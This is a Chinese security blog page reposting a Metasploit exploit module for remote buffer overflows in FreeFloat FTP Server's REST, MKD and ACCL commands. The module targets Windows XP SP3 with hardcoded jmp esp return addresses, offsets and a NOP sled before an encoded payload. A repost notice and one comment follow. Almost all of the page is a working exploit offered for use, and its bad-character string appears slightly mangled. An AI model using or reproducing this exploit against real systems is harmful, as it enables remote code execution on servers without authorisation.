FreeFloat FTP Server Multiple Remote Buffer Overflow Exploit

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
    'Name' => 'FreeFloat FTP Server Multiple Remote Buffer Overflow Exploit',
    'Description' => %q{
      This module exploits a FreeFloat FTP Server Buffer Overflow
	  found in the MKD/REST/ACCL command's.
     },
    'Author' => [
       'C4SS!0 G0M3S', # Discovery Vuln.
       'KedAns-Dz' # Metasploit Module
        ],
    'License' => MSF_LICENSE,
    'Version' => '$Revision: 0.1',
    'References' =>
      [
       [ 'URL', 'http://www.xxx.com/exploits/17539' ],
       [ 'URL', 'http://www.xxx.com/exploits/17546' ],
       [ 'URL', 'http://www.xxx/exploits/17550' ], # by xxx
      ],
    'DefaultOptions' =>
      {
       'EXITFUNC' => 'process',
        },
    'Payload' =>
      {
       'BadChars' => "x00x0ax0d",
      },
    'Platform' => 'win',
    'Targets' =>
      [
        [ 'FreeFloat FTP Server (Windows XP-SP3 / REST command)',
           {
            'Ret' => 0x7C874413, # jmp esp - (KERNEL32.DLL) 
            'Offset' => 246,
            'CMD' => 'REST'
           }
        ],
		[ 'FreeFloat FTP Server (Windows XP-SP3 / MKD command)',
           {
            'Ret' => 0x7cb97475, # jmp esp - (SHELL32.DLL)
            'Offset' => 247,
            'CMD' => 'MKD'
           }
        ],
		[ 'FreeFloat FTP Server (Windows XP-SP3 / ACCL command)',
           {
            'Ret' => 0x7C874413, # jmp esp - (KERNEL32.DLL)
            'Offset' => 246,
            'CMD' => 'ACCL'
           }
        ],
                ],
        'DefaultTarget' => 1))
    end

    def exploit
        connect_login

        print_status("Trying target #{target.name}...")

        buf = make_nops(target['Offset']) + [target.ret].pack('V')
        buf << make_nops(20)
        buf << payload.encoded

        send_cmd( [target['CMD'], buf] , false )

        handler
        disconnect
    end

end

本文固定链接: https://www.unhonker.com/bug/178.html | 90' s Blog|关注网络信息安全

该日志由 unhonker 于2011年09月03日发表在 漏洞公布 分类下, 你可以发表评论,并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: FreeFloat FTP Server Multiple Remote Buffer Overflow Exploit | 90' s Blog|关注网络信息安全

FreeFloat FTP Server Multiple Remote Buffer Overflow Exploit:目前有1 条留言

  1. 沙发
    solar-panel:

    呵呵,内容写的很到位,感觉很好,收藏一下,谢谢版主。我是经常来拜访你的访问者之一哦,今天忍不住留言了。

    2011-09-04 09:11

发表评论

您必须 [ 登录 ] 才能发表留言!